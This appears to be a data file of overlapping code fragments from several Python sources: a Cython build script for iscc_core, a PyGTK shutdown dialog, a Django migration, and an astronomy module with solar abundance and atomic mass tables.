"ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded to",
"cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), )",
"extension modules. The shared library can also be built manually using the command:",
"shared library can also be built manually using the command: $ cythonize -X",
"language_level=3 -a -i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try: from Cython.Build import cythonize, build_ext",
"print(\"Succeeded to compile Cython/C accelerator modules :) *\") print(\"************************************************************\") except Exception as e:",
"print(\"************************************************************\") except Exception as e: print(\"************************************************************\") print(\"Cannot compile C accelerator module, use pure",
"dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded",
") ) print(\"************************************************************\") print(\"Succeeded to compile Cython/C accelerator modules :) *\") print(\"************************************************************\") except",
"./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try: from Cython.Build import cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize(",
"-*- \"\"\" Build cython extension modules. The shared library can also be built",
"] ), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded to compile Cython/C accelerator modules :)",
"./iscc_core/minhash.py $ cythonize -X language_level=3 -a -i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try: from",
"language_level=3 -a -i ./iscc_core/cdc.py $ cythonize -X language_level=3 -a -i ./iscc_core/minhash.py $ cythonize",
"The shared library can also be built manually using the command: $ cythonize",
"cython extension modules. The shared library can also be built manually using the",
"build_ext setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), ) )",
"Cython/C accelerator modules :) *\") print(\"************************************************************\") except Exception as e: print(\"************************************************************\") print(\"Cannot compile",
"as e: print(\"************************************************************\") print(\"Cannot compile C accelerator module, use pure python version\") print(\"************************************************************\")",
"$ cythonize -X language_level=3 -a -i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try: from Cython.Build",
"-i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try: from Cython.Build import cythonize, build_ext setup_kwargs.update( dict(",
"using the command: $ cythonize -X language_level=3 -a -i ./iscc_core/cdc.py $ cythonize -X",
"try: from Cython.Build import cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\",",
"setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\")",
"except Exception as e: print(\"************************************************************\") print(\"Cannot compile C accelerator module, use pure python",
"modules. The shared library can also be built manually using the command: $",
"-X language_level=3 -a -i ./iscc_core/cdc.py $ cythonize -X language_level=3 -a -i ./iscc_core/minhash.py $",
"from Cython.Build import cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ]",
"-X language_level=3 -a -i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try: from Cython.Build import cythonize,",
"# -*- coding: utf-8 -*- \"\"\" Build cython extension modules. The shared library",
"language_level=3 -a -i ./iscc_core/minhash.py $ cythonize -X language_level=3 -a -i ./iscc_core/simhash.py \"\"\" def",
"$ cythonize -X language_level=3 -a -i ./iscc_core/minhash.py $ cythonize -X language_level=3 -a -i",
"cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded to compile Cython/C accelerator modules :) *\") print(\"************************************************************\")",
"-*- coding: utf-8 -*- \"\"\" Build cython extension modules. The shared library can",
"modules :) *\") print(\"************************************************************\") except Exception as e: print(\"************************************************************\") print(\"Cannot compile C accelerator",
"import cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext),",
"\"\"\" def build(setup_kwargs): try: from Cython.Build import cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize( [",
"Build cython extension modules. The shared library can also be built manually using",
"-a -i ./iscc_core/minhash.py $ cythonize -X language_level=3 -a -i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs):",
"$ cythonize -X language_level=3 -a -i ./iscc_core/cdc.py $ cythonize -X language_level=3 -a -i",
"./iscc_core/cdc.py $ cythonize -X language_level=3 -a -i ./iscc_core/minhash.py $ cythonize -X language_level=3 -a",
"print(\"************************************************************\") print(\"Succeeded to compile Cython/C accelerator modules :) *\") print(\"************************************************************\") except Exception as",
"-a -i ./iscc_core/cdc.py $ cythonize -X language_level=3 -a -i ./iscc_core/minhash.py $ cythonize -X",
"def build(setup_kwargs): try: from Cython.Build import cythonize, build_ext setup_kwargs.update( dict( ext_modules=cythonize( [ \"iscc_core/cdc.py\",",
"\"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded to compile Cython/C accelerator modules",
"\"\"\" Build cython extension modules. The shared library can also be built manually",
"-i ./iscc_core/cdc.py $ cythonize -X language_level=3 -a -i ./iscc_core/minhash.py $ cythonize -X language_level=3",
"accelerator modules :) *\") print(\"************************************************************\") except Exception as e: print(\"************************************************************\") print(\"Cannot compile C",
"cythonize -X language_level=3 -a -i ./iscc_core/simhash.py \"\"\" def build(setup_kwargs): try: from Cython.Build import",
"e: print(\"************************************************************\") print(\"Cannot compile C accelerator module, use pure python version\") print(\"************************************************************\") print(e)",
"\"iscc_core/cdc.py\", \"iscc_core/minhash.py\", \"iscc_core/simhash.py\", ] ), cmdclass=dict(build_ext=build_ext), ) ) print(\"************************************************************\") print(\"Succeeded to compile Cython/C",
"command: $ cythonize -X language_level=3 -a -i ./iscc_core/cdc.py $ cythonize -X language_level=3 -a",
"Exception as e: print(\"************************************************************\") print(\"Cannot compile C accelerator module, use pure python version\")",
":) *\") print(\"************************************************************\") except Exception as e: print(\"************************************************************\") print(\"Cannot compile C accelerator module,"
] |
[
"0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10) action = dialog.run()",
"__name__ == \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\", 0)",
"action = dialog.run() if action == 0: os.system(\"awesome-client 'awesome.quit()'\"); elif action == 1:",
"if action == 0: os.system(\"awesome-client 'awesome.quit()'\"); elif action == 1: os.system(\"systemctl suspend\"); elif",
"0: os.system(\"awesome-client 'awesome.quit()'\"); elif action == 1: os.system(\"systemctl suspend\"); elif action == 2:",
"'awesome.quit()'\"); elif action == 1: os.system(\"systemctl suspend\"); elif action == 2: os.system(\"systemctl reboot\");",
"<filename>ctrl-alt-del.py<gh_stars>1-10 #!/usr/bin/env python import pygtk pygtk.require('2.0') import gtk import os if __name__ ==",
"computer now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\",",
"os.system(\"systemctl suspend\"); elif action == 2: os.system(\"systemctl reboot\"); elif action == 3: os.system(\"systemctl",
"dialog.add_button(\"Cancel\", 10) action = dialog.run() if action == 0: os.system(\"awesome-client 'awesome.quit()'\"); elif action",
"10) action = dialog.run() if action == 0: os.system(\"awesome-client 'awesome.quit()'\"); elif action ==",
"gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut",
"== 1: os.system(\"systemctl suspend\"); elif action == 2: os.system(\"systemctl reboot\"); elif action ==",
"elif action == 2: os.system(\"systemctl reboot\"); elif action == 3: os.system(\"systemctl poweroff\"); exit(0)",
"= gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2)",
"import pygtk pygtk.require('2.0') import gtk import os if __name__ == \"__main__\": dialog =",
"import os if __name__ == \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\")",
"pygtk pygtk.require('2.0') import gtk import os if __name__ == \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING)",
"now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10)",
"import gtk import os if __name__ == \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown",
"Down\", 3) dialog.add_button(\"Cancel\", 10) action = dialog.run() if action == 0: os.system(\"awesome-client 'awesome.quit()'\");",
"Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10) action =",
"os.system(\"awesome-client 'awesome.quit()'\"); elif action == 1: os.system(\"systemctl suspend\"); elif action == 2: os.system(\"systemctl",
"1: os.system(\"systemctl suspend\"); elif action == 2: os.system(\"systemctl reboot\"); elif action == 3:",
"action == 0: os.system(\"awesome-client 'awesome.quit()'\"); elif action == 1: os.system(\"systemctl suspend\"); elif action",
"== \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\",",
"os if __name__ == \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log",
"dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10) action = dialog.run() if",
"= dialog.run() if action == 0: os.system(\"awesome-client 'awesome.quit()'\"); elif action == 1: os.system(\"systemctl",
"if __name__ == \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\",",
"1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10) action = dialog.run() if action",
"dialog.run() if action == 0: os.system(\"awesome-client 'awesome.quit()'\"); elif action == 1: os.system(\"systemctl suspend\");",
"elif action == 1: os.system(\"systemctl suspend\"); elif action == 2: os.system(\"systemctl reboot\"); elif",
"\"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1)",
"== 0: os.system(\"awesome-client 'awesome.quit()'\"); elif action == 1: os.system(\"systemctl suspend\"); elif action ==",
"#!/usr/bin/env python import pygtk pygtk.require('2.0') import gtk import os if __name__ == \"__main__\":",
"dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\",",
"2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10) action = dialog.run() if action == 0:",
"gtk import os if __name__ == \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer",
"python import pygtk pygtk.require('2.0') import gtk import os if __name__ == \"__main__\": dialog",
"dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10) action = dialog.run() if action == 0: os.system(\"awesome-client",
"dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER) dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\",",
"dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10) action",
"3) dialog.add_button(\"Cancel\", 10) action = dialog.run() if action == 0: os.system(\"awesome-client 'awesome.quit()'\"); elif",
"action == 1: os.system(\"systemctl suspend\"); elif action == 2: os.system(\"systemctl reboot\"); elif action",
"pygtk.require('2.0') import gtk import os if __name__ == \"__main__\": dialog = gtk.MessageDialog(type=gtk.MESSAGE_WARNING) dialog.set_position(gtk.WIN_POS_CENTER)",
"dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3) dialog.add_button(\"Cancel\", 10) action = dialog.run() if action ==",
"dialog.set_markup(\"<big><b>Shutdown computer now?</b></big>\") dialog.add_button(\"Log Out\", 0) dialog.add_button(\"Sleep\", 1) dialog.add_button(\"Restart\", 2) dialog.add_button(\"Shut Down\", 3)",
"suspend\"); elif action == 2: os.system(\"systemctl reboot\"); elif action == 3: os.system(\"systemctl poweroff\");"
] |
[
"<reponame>MattTaylorDLS/pymalcolm from malcolm.modules.ADCore.parts import DetectorDriverPart from .pandablockschildpart import PandABlocksChildPart class PandABlocksDriverPart(DetectorDriverPart, PandABlocksChildPart): pass"
] |
[
"from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('crud', '0008_auto_20210701_0715'), ]",
"# Generated by Django 3.2.4 on 2021-07-01 09:10 from django.db import migrations, models",
"by Django 3.2.4 on 2021-07-01 09:10 from django.db import migrations, models class Migration(migrations.Migration):",
"django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('crud', '0008_auto_20210701_0715'), ] operations",
"max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='neutering',",
"models class Migration(migrations.Migration): dependencies = [ ('crud', '0008_auto_20210701_0715'), ] operations = [ migrations.AlterField(",
"Migration(migrations.Migration): dependencies = [ ('crud', '0008_auto_20210701_0715'), ] operations = [ migrations.AlterField( model_name='cat', name='color',",
"3.2.4 on 2021-07-01 09:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies =",
"), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='neutering', field=models.CharField(blank=True, max_length=10,",
"'0008_auto_20210701_0715'), ] operations = [ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField(",
"name='gender', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='neutering', field=models.CharField(blank=True, max_length=10, null=True), ), ]",
"on 2021-07-01 09:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [",
"dependencies = [ ('crud', '0008_auto_20210701_0715'), ] operations = [ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True,",
"null=True), ), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='neutering', field=models.CharField(blank=True,",
"migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='neutering', field=models.CharField(blank=True, max_length=10, null=True),",
"Generated by Django 3.2.4 on 2021-07-01 09:10 from django.db import migrations, models class",
"[ ('crud', '0008_auto_20210701_0715'), ] operations = [ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True),",
"= [ ('crud', '0008_auto_20210701_0715'), ] operations = [ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20,",
"model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='neutering', field=models.CharField(blank=True, max_length=10, null=True), ),",
"field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat',",
"[ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20,",
"migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True),",
"('crud', '0008_auto_20210701_0715'), ] operations = [ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True), ),",
"operations = [ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='gender',",
"09:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('crud', '0008_auto_20210701_0715'),",
"<filename>crud/migrations/0009_auto_20210701_0910.py # Generated by Django 3.2.4 on 2021-07-01 09:10 from django.db import migrations,",
"Django 3.2.4 on 2021-07-01 09:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies",
"= [ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True,",
"model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True), ),",
"2021-07-01 09:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('crud',",
"migrations, models class Migration(migrations.Migration): dependencies = [ ('crud', '0008_auto_20210701_0715'), ] operations = [",
"import migrations, models class Migration(migrations.Migration): dependencies = [ ('crud', '0008_auto_20210701_0715'), ] operations =",
"] operations = [ migrations.AlterField( model_name='cat', name='color', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat',",
"name='color', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='cat', name='gender', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField(",
"class Migration(migrations.Migration): dependencies = [ ('crud', '0008_auto_20210701_0715'), ] operations = [ migrations.AlterField( model_name='cat',"
] |
[
"from abc import ABC, abstractmethod class ActionHandlerStrategy(ABC): @abstractmethod def handle_event(self, payload, context): pass",
"<reponame>investing-algorithms/investing-algorithm-framework from abc import ABC, abstractmethod class ActionHandlerStrategy(ABC): @abstractmethod def handle_event(self, payload, context):"
] |
[
"32.066, 35.4527, 39.948, 39.0983, 40.078, 44.95591, 47.867, 50.9415, 51.9961, 54.93805, 55.845, 58.93320, 58.6934,",
"solar_abund = np.array([ 4750., 2.5, -10.99, -10.66, -9.34, -3.61, -4.21, -3.35, -7.48, -4.11,",
"numpy array of str element symbols mass: numpy array of floats atomic masses",
"and logg # last two are Hydrogen and Helium solar_abund = np.array([ 4750.,",
",'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th',",
"model_abund(pars): \"\"\" Model atmosphere abundances. \"\"\" # Create the input 99-element abundance array",
"Review 130, 205 sol = [ 0.911, 10.93, 1.05, 1.38, 2.70, 8.39, 7.78,",
"-9.74, -8.70, -9.50, -8.79, -9.52, -9.17, -9.83, -9.46, -10.58, -10.16, -20.00, -10.29, -11.13,",
"-20.00, -20.00, -20.00, -12.02, -20.00, -12.58, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00])",
"2.92, 2.21, 2.59, 1.42, 1.92, -9.99, 1.84, 1.12, 1.69, 0.94, 1.77, 1.60, 2.00,",
"global logger is defined elif hasattr(builtins,\"logger\"): return builtins.logger.info # Return the buildin print",
"2007, Space Science Review 130, 205 sol = [ 0.911, 10.93, 1.05, 1.38,",
"as dln import matplotlib.pyplot as plt try: import __builtin__ as builtins # Python",
",'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [ 1.00794, 4.00260, 6.941, 9.01218, 10.811,",
"Create the input 99-element abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g,",
"192.217, 195.078, 196.96655, 200.59, 204.3833, 207.2, 208.98038, 209., 210., 222., 223., 226., 227.,",
"[ 0.911, 10.93, 1.05, 1.38, 2.70, 8.39, 7.78, 8.66, 4.56, 7.84, 6.17, 7.53,",
"1.77, 1.60, 2.00, 1.00, 2.19, 1.51, 2.27, 1.07, 2.17, 1.13, 1.58, 0.71, 1.45,",
"abu[2:] = 10**abu[2:] # Divide by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1)",
"95.94, 98., 101.07, 102.90550, 106.42, 107.8682, 112.411, 114.818, 118.710, 121.760, 127.60, 126.90447, 131.29,",
"1.60, 2.00, 1.00, 2.19, 1.51, 2.27, 1.07, 2.17, 1.13, 1.58, 0.71, 1.45, -9.99,",
"# Ignore these warnings, it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc",
"Huser et al. (2013) are adopted. Otherwise Asplund et al. (2005) are used",
"abundances # first two are Teff and logg # last two are Hydrogen",
"14.00674, 15.9994, 18.99840, 20.1797, 22.98977, 24.3050, 26.98154, 28.0855, 30.97376, 32.066, 35.4527, 39.948, 39.0983,",
"2.21, 2.58, 1.46, 1.88, -9.99, 1.75, 1.06, 1.65, 1.20, 1.71, 0.76, 2.04, 1.01,",
"set the abundances adopted for Phoenix models by Huser et al. (2013) are",
",'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd',",
"72.61, 74.92160, 78.96, 79.904, 83.80, 85.4678, 87.62, 88.90585, 91.224, 92.90638, 95.94, 98., 101.07,",
"with a logger.\"\"\" # Input logger if inplogger is not None: return inplogger.info",
"1.38, 2.79, 8.43, 7.83, 8.69, 4.56, 7.93, 6.24, 7.60, 6.45, 7.51, 5.41, 7.12,",
"builtins.logger.info # Return the buildin print function else: return builtins.print # The atmosnet",
"optional when set the abundances adopted for Phoenix models by Huser et al.",
"-3.61, -4.21, -3.35, -7.48, -4.11, -5.80, -4.44, -5.59, -4.53, -6.63, -4.92, -6.54, -5.64,",
"88.90585, 91.224, 92.90638, 95.94, 98., 101.07, 102.90550, 106.42, 107.8682, 112.411, 114.818, 118.710, 121.760,",
"in km/s def getprintfunc(inplogger=None): \"\"\" Allows you to modify print() locally with a",
"4750., 2.5, -10.99, -10.66, -9.34, -3.61, -4.21, -3.35, -7.48, -4.11, -5.80, -4.44, -5.59,",
"import warnings from scipy import sparse from scipy.interpolate import interp1d from dlnpyutils import",
"ImportError: import builtins # Python 3 # Ignore these warnings, it's a bug",
"logger.\"\"\" # Input logger if inplogger is not None: return inplogger.info # Check",
"for e in exten: if base[-len(e):]==e: base = base[0:-len(e)] ext = e break",
"-12.58, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00]) # scale global metallicity abu",
"35.4527, 39.948, 39.0983, 40.078, 44.95591, 47.867, 50.9415, 51.9961, 54.93805, 55.845, 58.93320, 58.6934, 63.546,",
"def model_abund(pars): \"\"\" Model atmosphere abundances. \"\"\" # Create the input 99-element abundance",
"180.9479, 183.84, 186.207, 190.23, 192.217, 195.078, 196.96655, 200.59, 204.3833, 207.2, 208.98038, 209., 210.,",
"functions \"\"\" from __future__ import print_function __authors__ = '<NAME> <<EMAIL>>' __version__ = '20210605'",
"# speed of light in km/s def getprintfunc(inplogger=None): \"\"\" Allows you to modify",
"1.01, 0.52, 1.12, 0.28, 1.14, 0.51, 0.93, 0.00, 1.08, 0.06, 0.88, -0.17, 1.11,",
"237., 244., 243., 247., 247., 251., 252. ] if not husser: #Asplund, Grevesse",
"0.06, -9.99, -0.52, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] =",
"Return the buildin print function else: return builtins.print # The atmosnet data directory",
"abu[2:] += feh # Now offset the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, =",
"as plt try: import __builtin__ as builtins # Python 2 except ImportError: import",
"used -- consistent with the MARCS (Gustafsson et al. 2008) models and and",
"base = base[0:-len(e)] ext = e break return (fdir,base,ext) def model_abund(pars): \"\"\" Model",
"et al. (2013) are adopted. Otherwise Asplund et al. (2005) are used --",
"filename into directory, base and extensions.\"\"\" fdir = os.path.dirname(filename) base = os.path.basename(filename) exten",
"168.93421, 173.04, 174.967, 178.49, 180.9479, 183.84, 186.207, 190.23, 192.217, 195.078, 196.96655, 200.59, 204.3833,",
"[X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float)",
"-9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. else: #a combination",
"input 99-element abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H')",
"0.94, 1.77, 1.60, 2.00, 1.00, 2.19, 1.51, 2.27, 1.07, 2.17, 1.13, 1.58, 0.71,",
"g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh",
"np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh",
"= np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read model atmosphere atmostype, teff, logg, vmicro2, mabu,",
"1.45, 1.38, 1.64, 1.01, 1.13, 0.90, 2.00, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99,",
"1.40, 1.38, 1.62, 0.80, 1.17, 0.77, 2.04, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99,",
"locally with a logger.\"\"\" # Input logger if inplogger is not None: return",
"abundances From <NAME>'s synple package. Parameters ---------- husser: bool, optional when set the",
"0.30, 1.10, 0.48, 0.92, 0.10, 0.92, 0.10, 0.85, -0.12, 0.65, 0.26, 1.40, 1.38,",
"99-element abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') !=",
"inpabund[25] #read model atmosphere atmostype, teff, logg, vmicro2, mabu, nd, atmos = synple.read_model(modelfile)",
"'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [ 1.00794, 4.00260, 6.941,",
"a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed = 2.99792458e5",
"-9.99, -9.99, -9.99, 0.06, -9.99, -0.52, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99",
"-9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. for i",
